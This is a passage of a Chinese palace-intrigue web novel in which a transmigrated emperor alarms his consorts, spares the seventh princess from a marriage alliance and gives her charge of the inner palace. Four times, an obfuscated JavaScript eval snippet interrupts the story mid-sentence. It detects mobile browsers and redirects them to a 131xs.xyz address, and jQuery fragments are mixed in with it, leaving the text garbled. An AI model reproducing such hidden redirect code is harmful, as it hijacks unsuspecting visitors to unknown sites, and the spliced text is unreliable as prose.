万秉德来到前殿,将皇帝吃剩的那些菜肴摆上来。对贤妃等人言道:“陛下赏赐三位娘娘用膳。” 贤妃等人放下笔,眼神担忧地望向那一桌菜肴。 不是她们多心,实在是皇帝阴晴不定,保不齐她们吃完这顿饭就得躺进棺材里了! 见她们迟迟没有动作,万秉德微笑着催促道:“三位娘娘抄经辛苦了。快来用膳吧!” 谁知,贤妃她们听了这话,更是不敢动了!看那桌饭菜的眼神就跟见到阎王似的,眼睛里满是恐惧的情绪。 贤妃不动,惠妃也不动,宁妃更是不敢动了! 看她们依然不配合,万秉德低声提醒道:“三位娘娘莫让奴婢难做。陛下赏赐,若是不从,便是违抗皇命。” 如此警告,让贤妃她们慌了。 伸头是一刀,缩头也是一刀!若是皇帝存心要赐死她们,她们左右也逃不过这一劫! 想明白后,贤妃深吸一口气,起身朝八仙桌走去。 惠妃慢吞吞地起身,跟随在贤妃的身后。 宁妃依然没动,已经吓得双腿发软,没劲儿起来啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078918|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宁妃娘娘?”万秉德催促起来。 宁妃一副要哭的表情,哽咽地说道:“本宫、本宫坐累了,起不了身……” 万秉德只好亲自过来搀扶对方。 等宁妃来到八仙桌前坐下的时候,贤妃与惠妃已经动起了筷子。 两人含泪,一副赴死的表情将菜夹起来放入口中。根本无心品尝味道,艰难地咽下去。 宁妃见她们这么勇敢,觉得自己不能输给她们。伸出发抖的手,哭哭啼啼地拿起筷子,夹了一口菜,快速丢进嘴里咽下去。 贤妃、惠妃、宁妃根本不知道这桌饭菜到底有没有下|毒,此时此刻,她们的脑海中冒出一句又一句的遗言。 心里发苦,三人的泪水就跟不要钱的珍珠似的,越流越多。脸上的妆容都花了,她们一把鼻涕一把泪的继续往嘴里塞东西。 这般场景让万秉德看得眼角抽搐起来。心里很想告诉贤妃她们,这桌饭菜没毒!放心吃吧! 但是他知道这话绝对不能说出来!皇帝要的就是这个效果!无论是抄经还是赏赐膳食,都是皇帝警告威慑贤妃等人的手段! 也怪这三位娘娘太过心急!皇帝不过是闭门不出,又不是病卧床榻!这三位娘娘前前后后蹦跶得太厉害了!到头来,被皇帝警告一番。也是她们自讨苦吃! 万秉德特地提醒道:“陛下交代,不可浪费粮食。请三位娘娘莫留剩菜。” 宁妃哭得越发大声。 哪怕皇帝是要下|毒赐死她们,好歹也弄一桌好吃的饭菜啊!最后一顿竟然让她们吃冷饭残羹!最毒帝王心!当真是冷血无情! 贤妃与惠妃也好不到哪去,一开始她们还能克制情绪,只是无声地流泪。见到宁妃哭得这般凄惨,她们也跟着哭出声来。 万秉德实在是看不下去,干脆别开视线不理会她们。 在贤妃、惠妃、宁妃将这桌菜吃抹干净后,万秉德将她们送出万岁殿。 三人回到各自的宫殿里,便急切地催促宫人请御医。同时准备纸笔墨,趁着体内的毒还没发作起来,她们赶紧写下遗书! 万秉德将她们的反应汇报给周安之。 周安之一脸懵,反应过来贤妃她们误会了,表情有些无语。 这三人可真是做贼心虚!他不过是让她们抄抄经,吃剩菜而已!连一句话都没有跟她们说!她们却想了这么多弯弯绕绕的恶意! 说起来,也不能怪贤妃等人疑心太重。要怪只能怪父皇老登总是用各种阴险的手段威慑众人,以致于众人总是担惊受怕的! 换做周安之当五皇子那会儿,他面对父皇老登的时候,也总是提心吊胆的,生怕会遭父皇老登的算计。 毕竟皇帝的每个动作,每个眼神,每一句话,都会让人猜到千万个可能! 周安之摇了摇头,将这件事抛在脑后。 9. 第 9 章 第九章竭尽全力 周安之琢磨了一晚上,最后将目光锁定在七公主身上。 大月与匈奴和亲的事,举国皆知。纵然远离京城,周安之也有所耳闻。 在周安之的看来,牺牲一个女子,去换取两国和平,就是作孽! 这世道,女子自小便养在后院,学的都是一些相夫教子的东西。大多数家族压根不教女子如何生存,净教一些没用的本事!训诫女子要三从四德,贤惠、温婉、大度…… 可对待男子,从小栽培男子习武读书,君子六艺等各种本事。教男子知道如何在社会上生存,让男子去建功立业! 将一个没有生存能力的女子推去嫁给异族,无异于是将这个女子推入火坑里!这跟送死有何区别! 所以两国和亲这种事,就应该安排皇子嫁出去!当下参政的这些皇子没一个是省油的灯!论尔虞我诈,他们可太行了! 周安之越想越觉得就是这个理! 故而,第二日周安之特地将永和公主叫到跟前,跟她聊聊。 永和公主低头弯腰,踏入万岁殿后战战兢兢地行礼:“儿臣参见父皇……” 周安之温柔地叫她起来:“小七,起来吧!李正喜,给小七搬个座儿!” 永和公主慢吞吞地起身。 李正喜将椅子搬到她身后,永和公主拘谨地坐下来,低头垂眉盯着自己的双手。 周安之打量着她,说起来小七也是可怜的孩子。 太后还在的时候,特地送了几个宫女伺候皇帝。 其中一个宫女怀上了皇嗣,生产之时,恰逢太后崩逝。 七公主的生母非但没能得到封赏,生下公主后还被迫陪葬。这皇宫,就是吃人不吐骨头的地方! 周安之跟七公主只相差三岁。 七公主两岁还没还没学会走路。有一回周安之碰到七公主在水池边爬来爬去,直接掉进了水池里。 当时周安之费了不少力气,才把七公主从水里捞起来。为了能让七公主在后宫里活下去,他想了个法子将七公主送到德太妃那里养着。 在七公主十岁的时候,德太妃薨逝,小丫头再一次失去庇护。幸好有周安之偶尔过去看七公主,照顾她。 虽然他们两人经常遭宫人白眼,但宫人顾忌着皇子公主的身份不敢明目张胆的欺负他们。 后来周安之离开了皇宫,但还是会经常派人捎东西入宫。 每次捎东西进宫都会特地在包装上写上两句警告。谁敢私吞他的银子,必然要翻倍讨回! 宫里人都知道周安之的德性,压根不敢扣留东西。 有了周安之的接济,这两年七公主在宫里还不算过得太难。 前段时间,得知父皇老登要把七公主嫁到匈奴和亲,周安之很是气愤。特地做了一番安排。打算等七公主嫁到匈奴后,再安排人暗中将她救出来。 收起思绪,周安之轻声道:“小七啊,这段时日委屈你了。” 他知道七公主这段时间心里不好受。周安之虽然做了安排,但是却不能将这个信息送进宫里。唯恐被人发现,两人都得遭殃。 永和公主愕然地抬头看了眼皇帝,眼神胆怯不安,只看了一眼便马上低下头。小声回话:“儿臣、不委屈……” 想了想,她又补上一句话:“能为父皇分忧,是儿臣的福分……” 周安之摇头,叹气道:“是朕亏待了你!这桩婚事,朕另有安排,往后你就留在宫中,为朕打理后宫可好?” 毕竟相处了这么多年,可以说七公主就是周安之带大的,周安之可没少给她灌输一些现代思想。 既然现在轮到周安之当了皇帝,他不单要把七公主留下来,还得将她栽培起来! 他们这对难兄难妹也算是要熬出头了! 永和公主被皇帝的话震惊到了,不敢置信地抬头望着对方。往日里那张威严的面孔,此时带着笑意,眼神温柔。 眼前这一幕太过诡异,将她吓到了! 见她惊恐得像一只小兔子,周安之也意识到突然的转变难以让人适应。 只好收起温柔,他面色正经地改口言道:“朕现在给你两个选择。和亲,嫁去匈奴。留下,打理后宫。你选吧!” 永和公主双手紧张地揪着手绢,虽然不知道父皇为何会说出这些话,哪怕这是一场危险的试探,她也想为自己争取一线生机! 她深吸了一口气,声音里带着颤音,回应道:“儿臣谨遵皇命,愿意为父皇打理后宫……” 周安之满意地点头,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078919|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍着自己的大腿言道:“好!即日起你从皇后那里接手后宫事务,打理好后宫。” 永和公主呆愣地望着皇帝。一时分辨不出当下发生的事情是现实还是梦境。 李正喜等人听到这番谈话,心里大为震惊。 没想到皇帝居然要取消和亲!还要让永和公主接手后宫事务!但是他们可没资格张嘴评价这件事! 见永和公主没有反应,李正喜咳了咳,低声提醒道:“公主殿下,谢恩。” 永和公主慌张地站起来,然后跪在周安之面前,直接磕了个响头。 感觉到疼痛,她声音发颤地喊道:“儿臣谢父皇隆恩!” 周安之对她做了个手势,面色平静地言道:“起来吧!小七啊,朕有言在先。若无本事掌管后宫,你就得嫁人。” 人呐,就得逼一把才会将潜力发挥出来。 哪怕七公主后面处理不好后宫事务,周安之也不可能真的将她赶出去嫁人。大不了赐一块封地,让七公主去封地开府,逍遥自在的生活! 听到这话,永和公主的脑海中瞬间拉响警报声。 不好好办差,就得嫁人! 嫁人就是去送死!她不要嫁人!不要送死! 无论行不行,她都得努力在最短时间内学会如何打理后宫! “儿臣遵旨!定当竭尽全力掌管后宫!” 永和公主说出这话后,咬了咬嘴唇。疼痛感让她提神清醒。 “不要让朕失望,去吧!”周安之微微一笑。 同时搞定了两件事!阻止了七公主出嫁,还将后宫大权揽在了手中!不错不错! 永和公主走出万岁殿的时候,抬起头回头盯着上方的那块牌匾。像似刚从梦中醒来,太不真实了! 她没忍住,伸手掐了一把自己的脸颊。 是疼的!这一切是真的! 父皇不让她出嫁了,要把她留在宫里!还要让她掌管后宫! 永和公主太开心了,有种死里逃生的感觉。嘴角上扬,眼里却流出了泪水。 她捂着嘴巴,低声哭泣。 不行,她得立马写信将这个好消息告诉五哥! 永和公主又哭又笑,小跑着奔向后宫。就像雨中的一只蝴蝶,迎着风雨在翩翩起舞。 10. 第 10 章 第十章不对劲 万秉德领着永和公主来到千岁殿。 陈皇后心里诧异皇帝为何让永和公主过来见她。寻思着多半还是为了和亲一事。 “奴婢给皇后娘娘请安!”万秉德弯着腰向皇后行礼。 永和公主就站在万秉德地身旁,弯着腰行礼:“儿臣给母后请安……” 看到永和公主还穿着以前的旧衣服,陈皇后顿时有些不悦,笑着用温柔的语气问道:“免礼。永和,本宫不是派人为你量身定做了很多新衣吗?为何还穿着旧日的衣服?” 永和公主缓缓抬头,眼神忐忑地望着陈皇后,小声回话:“嬷嬷们说那些新衣是出嫁后穿的……” 绣娘们给永和公主做好衣服后,那些新衣服就被封存到箱子里了。这段时日看着宫人们进进出出忙活着出阁事宜。对于未知的生活,永和公主心里只有恐惧,并没有期待。 陈皇后蹙眉,脸上多了几分生气的表情,低声斥道:“这些宫人真是办事不力!林嬷嬷,回头好好说说她们!” 林嬷嬷颔首:“奴婢遵命!” 陈皇后收敛起生气的神色,目光转移到万秉德身上,询问道:“万少监可是奉命到本宫这里?” 万秉德低着头回应道:“回皇后娘娘的话,奴婢奉皇命领永和公主过来告知皇后娘娘,后宫事务将交由永和公主接手。” “你说、什么?”陈皇后还以为自己听错了,满脸震惊地看着万秉德。 万秉德知道对方惊讶,平静地将刚才的话重复了一遍:“奴婢奉皇命领永和公主过来告知皇后娘娘,后宫事务将交由永和公主接手。” 见陈皇后要失态了,林嬷嬷急忙替她问道:“永和公主即将及笄出阁!陛下怎会让她接手后宫事务?” 万秉德依然是淡定的模样,回应道:“奴婢不敢揣测圣意。” 所以这件事的确是皇帝的安排!陈皇后难以置信,心里一片慌乱。 这一回她可真是惹怒了皇帝!皇帝定是气恼她用后宫大权作为威胁,再谈永宁公主的婚事! 不单收走了她的后宫大权!甚至还将后宫大权交给了永和公主!这岂不是意味着永和公主不用和亲了? 若是换人和亲,宫中适龄出阁的公主就只有永宁了! 一想到皇帝要把她的小女儿嫁去草原和亲,陈皇后气得浑身发抖,面部神态都绷不住了。 杏眼含泪,浓浓的恨意随着泪水溢出眼眶。她咬牙切齿地言道:“本宫要见陛下!” 陈皇后要当面质问对方,为何如此冷酷无情! 从十六岁起,她便嫁给对方!彼时对方只是个不起眼的皇子!若非陈家支持,这个老登怎会有资格站在朝堂上跟其他皇子争夺储君之位! 到头来,自己为他生育落下病根,没有皇子傍身。她的两个女儿,一个嫁到北疆,一个现在还要被皇帝作为弃子送去草原给匈奴人欺辱! 万秉德抬头观察了一眼陈皇后的反应,将对方的模样尽收眼里,恭敬地回话:“陛下交代,皇后娘娘身子不适,需要静养。” 好啊!真是太好了!皇帝是要把事情做绝! 忍了这么多年,今日她终于忍受不了了! 陈皇后激动地站起来往外走。 林嬷嬷赶紧搀扶着她,唯恐皇后栽倒。 永和公主早就被陈皇后的模样吓到了,默默地将身子挪到万秉德的身后。 皇后执掌后宫多年,乍然失去后宫大权必定难以接受。会如此生气,也不足为怪。 万秉德转头对永和公主做了个手势,示意对方跟着他离开千岁殿。 林嬷嬷搀扶着陈皇后走出千岁殿的时候,发现没有异样,皇帝根本没有让人过来拦着皇后。说明皇帝还没有把事情做绝! 她低声提醒道:“皇后娘娘且保持冷静!陛下还未下旨换人和亲,皇后娘娘莫要再触怒陛下。” 听到这话,陈皇后倏地停下脚步,回头看了眼千岁殿。明白林嬷嬷话中的意思,她努力将情绪平复下来。 过了片刻,陈皇后示意林嬷嬷找个安静的地方说话。 林嬷嬷搀扶着陈皇后坐下来,压低声音分析当前的情况:“奴婢觉得此乃陛下的警告。只要陛下没有直接下旨换人和亲,皇后娘娘无需担忧。” “陛下既然让皇后娘娘交出后宫大权,您便顺从圣意将后宫大权交出来。永和公主年纪小,且没有受过精心栽培,哪怕后宫大权交到她手里也是一团乱。” 陈皇后心里稍安,轻轻颔首,低声道:“是也。一个小姑娘,岂能握得住后宫大权?以她的出身,背后也没有倚仗,后宫何人会将她放在眼里?她无能掌管后宫,这后宫大权最后还是会回到本宫手里。” 林嬷嬷摇头,提醒道:“皇后娘娘切莫忘了贤妃等人。怕是她们会拿捏永和公主。皇后娘娘需得以教导为名盯着永和公主,切莫让他人钻了空子。” 陈皇后刚放下心来,立马又警惕起来。面色凝重地言道:“是也,贤妃、惠妃、宁妃都不是善茬。哪怕她们无法直接摄六宫事,只要她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078920|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿捏住永和那个丫头,这后宫岂不是由她们说了算!是本宫失态了!看来本宫得好好哄着永和那丫头!” 陈皇后想明白其中的利害关系后,回到千岁殿的时候,没看到万秉德跟永和公主,她皱着眉头问道:“人呢?” “皇后娘娘出去后,永和公主与万少监也走了……” 陈皇后转头看向林嬷嬷。 林嬷嬷无声地点头,赶紧出去找永和公主。 昨夜经过御医检查,得知自己并没有中毒,贤妃等人悬着的心总算是落下了。恢复精神后,她们赶紧打听朝中的情况。 得知皇帝已经颁布《罪己诏》 还令梁王、鲁王、赵王前往天坛跪七日七夜,三妃气得骂骂咧咧。 这个老不死的真能欺负她们母子! 折腾到深夜,今日她们起来得有些晚。 贤妃刚醒,贴身宫女秋水一边伺候着她起身,一边便汇报外面的情况。 “启禀娘娘,晌午永和公主去了万岁殿。正午之时,万秉德领着永和公主去了千岁殿。” “他们刚进去没多久,皇后娘娘脸色难看的被人搀扶着从千岁殿出来。皇后娘娘在望月亭里坐了片刻后便回了千岁殿。其后林嬷嬷去找了永和公主。” 闻言,贤妃诧异:“可有接触永和那丫头打听细节?” 秋水摇头:“正午之后,万秉德一直陪同在永和公主身旁。无法接近。” “万秉德是为陛下做事的,他一直跟着永和公主,不对劲。”直觉告诉贤妃,这里边有问题。 秋水回应道:“奴婢多派了两个人盯着永和公主。只要有机会就上前打探消息。” 贤妃心不在焉地点头。 惠妃与宁妃睡醒后,自然也得知了今日的最新消息。 惠妃与贤妃想得差不多,特地留心派人去盯着永和公主。 宁妃觉得皇帝见永和公主,必定是虚伪的关心一下永和公主的状态。永和这丫头怕不是跟皇帝诉说了委屈。让皇帝找到责备皇后的理由。 所以皇帝才会安排万秉德领着永和公主到皇后跟前,责备了皇后几句。皇后被永和那丫头告状,才会气得不轻。 宁妃这般思索完,认真地点了点头,觉得事实应该跟她的分析大差不差! 秉着看笑话的讥讽心态,宁妃特地去了一趟千岁殿,想要奚落一下陈皇后。 可陈皇后压根不见她!这就让宁妃不高兴了! 宁妃只好转头去找永和公主,直接跟对方了解情况! 11. 第 11 章 第十一章竟敢戏耍本宫 自从当年德太妃跟皇帝开口将七公主养在自己身边后,哪怕德太妃薨逝,七公主依然住在寿康宫里。 宁妃是不喜欢来这边的,可以说后宫没几个妃嫔愿意来这边。先皇驾崩之后,无所出的妃嫔殉葬,有所出的妃嫔便迁至寿康宫生活。 寿康宫,说是赡养太妃们的地方,其实就是一座被人遗忘的冷宫罢了! 每次来到这里,就仿佛看到了将来凄凉的老年生活。 宁妃踏入寿康宫后,蹙着眉头,低声骂道:“晦气!” 心里已经开始后悔走这一遭了。 永和那丫头啥身份啊!也配值得她亲自过来见面!就应该派个人过来将永和叫去她的芷兰殿问话! 迈过第一道宫门往前走了一段路后,眼瞅着要到第二道宫门了,宁妃赶紧叫停:“给本宫停下!” 宫人们停下脚步,贴身宫女明月上前询问道:“娘娘,可有吩咐?” 宁妃一脸烦躁地说道:“派人进去将永和那丫头叫出来!” 她实在是不想进去见那群太妃。有些太妃上了岁数疯疯癫癫的,靠近这些人都觉得晦气! 明月只好亲自带了两个宫女进去找永和公主。 此时万秉德正在帮永和公主收拾东西搬家呢。 既然开始掌权了,永和公主自然不能再留在寿康宫。要不然处理后宫事务不方便。 虽然皇帝没有特地交代这件事,但是万秉德拎得很清楚。故而挑个好点的宫殿收拾干净,给永和公主入住。 前段时间和亲一事定下之后,陈皇后特地安排了几个宫人过来伺候永和公主。但是这几个宫人对永和公主的态度称不上恭敬。现在得知永和公主要摄六宫事,一个个变脸特别快,争抢着讨好永和公主。 永和公主根本就不喜欢这几个人,也不放心用这些人。特地将她们退回陈皇后那里。 这几个宫人说什么都不肯离开永和公主,跪求永和公主将她们留在身边。 最后还是万秉德一个眼神将这几个宫人震慑住了,她们只能讪讪地从地上爬起来,不再哀求永和公主。 在这几个宫人离开之前,永和公主特地让她们将陈皇后这段时日送过来的那些东西带走,退回给陈皇后。 虽然永和公主养在德太妃身旁,但是德太妃只当她是个活物随意养着。在德太妃面前,她必须要乖巧听话,讨好这位老人,才能在寿康宫生存下去。 从小到大,真心对她最好的人只有五皇子。 永和公主收拾出来的东西,多数都是五皇子送给她的。 盯着这些小玩意儿,永和公主的脑子里全都是五皇子的身影。 好想五哥啊! 万秉德就在门口等着,在永和公主出来后,上前瞅了一眼屋内,问道:“两个箱子?” 永和公主轻轻颔首。 万秉德示意小太监进去扛东西,低声对永和公主提点道:“公主殿下初摄六宫事,无数双眼睛盯着您。您将皇后娘娘的人赶走是对的。等您摄理六宫事务的消息传开后,各宫娘娘都会往您身边安插人手。” 永和公主自然也清楚这个道理。虚心向万秉德请教:“依万少监看,我该如何挑选人手?” 其他皇子公主,从小到大都有贴身伺候的宫女太监。德太妃虽然收养了永和公主,但是身旁只有两个嬷嬷伺候。这两个嬷嬷都上了岁数,日常轮流伺候在德太妃身边,根本不可能分出精力伺候永和公主。在德太妃薨逝后,这两个嬷嬷就出宫了。 后来周安之倒是花钱雇了个嬷嬷过来陪着永和公主。这个嬷嬷到了岁数之后,年前就离开了皇宫。这半年来都是永和公主自己一个人生活。 现在赶走了陈皇后派来的那几个宫人,永和公主就是个光杆司|令,纵然手握后宫大权,无兵可用,根本无法搭理后宫事务。 永和公主当下唯一能信任且能敢用的就是皇帝的人。既然万秉德开了口,她就得顺着对方的话请教一二。 万秉德正要开口说话,乍然看到多了几个人。微微挑眉,望向芷兰殿的那几个宫女。 明月问了好几个人,终于找到永和公主居住的小院里。 看到万秉德正在跟永和公主说话,几个太监从屋里搬出了两个箱子。她心里诧异,对上万秉德打量地目光,笑着说道:“万少监竟也在此!不知这是忙什么?” 万秉德不答反问:“这不是芷兰殿的明月姑娘吗!哪阵风将明月姑娘吹到这儿来了?” 永和公主摄理六宫事务的消息还没传出去呢,宁妃这就派人过来找永和公主,也不知道是万岁殿里有人泄露了风声还是千岁殿那边露了风声。这事回头得严查! 明月见万秉德不回答她的问题,只能言道:“宁妃娘娘特地过来见永和公主。请永和公主出去说话。” 万秉德淡淡一笑,回应道:“有劳明月姑娘回禀宁妃娘娘,永和公主忙着迁宫,无暇见其他人。” 这算盘珠子打得啪啪响,不用听都知道宁妃拨的是哪几颗算盘珠子。 明月愕然,诧异地问道:“永和公主要迁宫?” 其实倒也不意外。毕竟是要和亲的公主,若是让永和公主从寿康宫出阁面子是也不好看。就是不知道这是皇帝的意思,还是陈皇后的意思。 万秉德微笑着言道:“明月姑娘也入宫多年了,怎地不懂宫里的规矩。见到永和公主也不向殿下问安,莫非没把公主殿下放在眼里?” 闻言,明月的脸色顿时有些不好看。 万秉德这条阉狗就是故意的! 她僵着脸,笑容不自然地弯下腰对永和公主行礼:“奴婢见过永和公主殿下!殿下万福!” 永和公主轻轻点头,没有理会明月,转头对万秉德言道:“万少监,我们走吧!” 万秉德尖声喊道:“永和公主殿下迁宫!” 见他们走出来,明月跟其他两个宫女只能退避到角落里,弯着腰低着头送他们离开。 宁妃在外面等着,看到万秉德与永和公主一同出现,身后还跟着几个太监扛着箱子。感觉事情好似不简单! 万秉德早就做好了如何应对宁妃的心理准备。临近对方的步辇的时候,他弯下腰行礼:“奴婢见过宁妃娘娘!宁妃娘娘万福!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078921|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >永和公主弯下腰向宁妃行礼:“永和见过宁妃娘娘。” 宁妃打量着他们,视线扫过那两个箱子,直接问道:“这是作甚?” 万秉德保持着行礼的姿势回应道:“奴婢等人在为公主殿下迁宫。若宁妃娘娘无要事,奴婢等人先行告退。” 宁妃都亲自跑来这里了!当然得打听清楚情况才行!咋可能放他们离开! 无视万秉德的话,她问道:“永和要迁宫?这是陛下的意思还是皇后的意思?” 万秉德回答道:“宁妃娘娘若有疑问可到万岁殿询问陛下。” 迁宫一事,既不是皇帝的意思也不是陈皇后的意思。万秉德当然不可能正面回答宁妃的问题。 宁妃被万秉德怼了一句,脸色不悦地言道:“本宫要跟永和说几句话!” 万秉德是皇帝的人,宁妃得罪不起。只能把对方撇开,单独说话拿捏永和公主! 万秉德不作回应。 永和公主知道自己该开口说话了。鼓起勇气,抬起头看向宁妃,低声回应道:“永和有很多事情要忙,待永和忙完之后再向宁妃娘娘赔礼。” 宁妃气笑了,一脸不屑地讥讽道:“也是,你马上就要嫁去塞外了。但是出阁事宜有宫人操持,你一个丫头操什么心?” 永和公主维持着平静的面容,回宁妃的话:“永和奉皇命摄理六宫事务,为父皇分忧,自然忙碌。” 万秉德用余光瞥了眼这个小姑娘。还以为永和公主的成长环境会使性子软弱。没想到这就学会了用权力威慑他人!看来这位公主只是看着好欺负,实则骨头硬着呢! 宁妃被永和公主的话惊到了,目瞪口呆地看着她,不敢置信地问道:“你说什么!你摄理六宫事务?你一个小丫头马上就要和亲了,竟敢戏耍本宫!” 永和公主摇头,得体而平静地回应道:“永和不敢欺骗宁妃娘娘。若宁妃娘娘不信,可前往万岁殿向父皇求证。” 听到这话,万秉德无声地笑了。 宁妃被永和公主的态度气到了,指着万秉德问道:“万少监,她所言可是真的?” 万秉德开口回话:“确有此事。” 说话的时候,他微微抬头看了眼宁妃。 宁妃也太能装了!明明已经听到风声,却还要故意当面试探,这反应演得还挺像样! 得到万秉德的确认,宁妃整个人都不好了! 看永和公主的眼神变得很炽热,目光灼灼藏着很多心思。 万秉德言道:“当下奴婢忙着为永和公主迁宫,若宁妃娘娘有事,还请择日再说。奴婢先行告退!” 说完这话,万秉德做了个手势。率先往前走。 “永和告退!” 永和公主跟那几个小太监赶紧跟随着万秉德离开。 “别走!本宫还没问完呢!”宁妃着急地扭头喊他们。 可万秉德与永和公主压根没有回头,甚至那支小队伍还越走越快! 宁妃气得脸色难看,低声骂道:“混账!竟敢不把本宫放在眼里!” 等她儿子将来登基,必定要好好整顿宫中这些曾对她不敬之人! 12.第 12 章 第十二章无伤大雅 皇帝将摄理六宫事的大权交给一个即将出阁的公主,宁妃一开始挺生气的!再怎么安排,也根本轮不到永和公主掌管后宫! 嫉妒的那股劲儿过去后,宁妃的脑子渐渐反应过来。这是好事儿啊! 永和不过是个丫头片子,年龄小好拿捏!只要拉拢永和公主,这后宫大权岂不是被自己所掌控? 宁妃登时起了干劲儿,赶紧派人去打听永和公主迁宫到哪。 与此同时,贤妃与惠妃也收到了最新消息。 她们没想到宁妃竟然直接去了寿康宫找永和公主!并且永和公主还迁宫了! 贤妃与惠妃心里犹豫不决。 昨日皇帝已然给了她们一个警告,接下来她们需得老实一段时日。 万秉德为皇帝办事,她们盯着万秉德就是盯着皇帝。 现在万秉德陪用在永和公主身边,若是她们贸然出面接触永和公主,无疑是暴露了她们在监视皇帝的动静! 让皇帝发现她们在监视他。这不是找死吗! 思来想去,两人觉得一动不如一静!索性先任由宁妃蹦跶着,让对方试水,且看看接下来会发生何事! 后宫看似风平浪静,实则暗流涌动。 陈皇后虽然失去了后宫大权,但是却以交接与教导为由,特地与永和公主保持密切联系。 永和公主知道自己现在什么也不会,哪怕感觉到陈皇后对她的敌意,也得乖乖来千岁殿学习如何打理后宫事务。 万秉德处理完迁宫的事情后,留了几个人手给永和公主用着。便回到御前伺候了。 宁妃倒是努力往永和公主面前蹦跶,可陈皇后将永和公主盯得特别紧,以致于她压根本没机会接触永和公主。 宁妃觉得很有必要给陈皇后找点麻烦! 在宫里搞事情容易引火烧身,故而她特地派人传消息出宫,对陈氏子弟设套。 陈皇后已然失去后宫大权,若是陈氏子弟再闹出点事情,必然会惹得皇帝对陈皇后厌恶! 陈皇后占了这么多年的凤位,也真是够了! 自己努努力,争取把陈皇后踢下凤位! 光是想想,宁妃就兴奋起来! 静王、燕王、韩王、魏王从天水寺回到各自的王府后,都挺心烦的。 静王与燕王商量着要不要入宫试探一下皇帝的态度。 可两人反复商议,依然不敢入宫面圣。 天降警示,父皇的心情必然很差,要不然也不会这般折腾他们这些皇子。 两人唯恐入宫见到父皇,对方会直接将他们一同送到天坛那里跪着!若是如此,索性不如什么都不做。 也是巧了,韩王与魏王亦是这般打算。 作为梁王党的,齐王在外办差,当下不在京城里。韩王一个人不知所措,干脆老实待在府里。 魏王倒是有心入宫面圣,可是监视各王府的眼线传来消息,得知其他几个皇子都没有出门。他也不敢独自进宫当显眼包,只能留在府里看看话本。 静王等人特地躲在家里,以为不跑到父皇面前蹦跶,父皇就不会想起他们。 谁知,皇帝竟然要宣他们入宫! 四位皇子胆战心惊地进入皇宫。 路上静王与燕王结伴,低声交谈。 魏王觉得自己跟韩王都是一个人,于是凑到韩王身旁,低声跟对方交流:“八哥,你说父皇为何突然召见我们?” 韩王翻了白眼,冷漠地怼道:“我要是能猜到父皇的心思,那我岂不是知道谁能入住东宫?” 听到声音,静王与燕王特地回头瞅了一眼。诧异韩王跟魏王竟然凑到了一起! 自己难得好好跟对方说话,却得到韩王的讥讽。魏王觉得很没有面子,生气地言道:“不知道就不知道!你冲我嚷什么!” “滚一边去!莫挨着我!”韩王心情烦躁,觉得此番入宫没好事。 魏王受了气,故意将韩王甩在身后,跑到前面跟静王与燕王说起了韩王的坏话:“八哥真是过分!我不过是问问他父皇为何召见我们,他就冲我嚷起来了!” 静王跟燕王淡淡一笑,两人都没有回应魏王的话。 魏王自讨没趣,心里很是不满!只能气闷闷地往前走。 来到万岁殿门口,魏王没敢独自进去。 等静王他们都来了,四个人一同站好,让宫人进去通禀。 万秉德从里边走出来,向四位皇子行礼:“奴婢参见四位殿下!殿下们请随奴婢进去。” 他领着四位皇子走进万岁殿。皇帝就坐在前殿里。 “儿臣给父皇请安!”四位皇子同时行礼。 此刻从小到大瞧不起他的这些兄弟们,正在恭恭敬敬的向自己行礼,这种感觉让周安之觉得很不错! 心情一好,周安之的脸上不自觉的带着笑意,开口说话:“免礼。” 四位皇子小心翼翼地站直身子,依然低着头,压根不敢看皇帝。 当下的情况就跟上课似的,在学堂上无论低着头做什么,大多数时候都相安无事。一旦自己不小心抬起头与老师对视,这就完了!指定会被老师点名提问回答! “都抬起头,让朕好好瞧瞧。”周安之回想自己以前在父皇面前也是他们这般模样。 静王等人这才慢吞吞地抬起头,小心翼翼地望向皇帝。 周安之的视线扫过每一张脸,缓缓言道:“你们都老大不小了。” 静王:…… 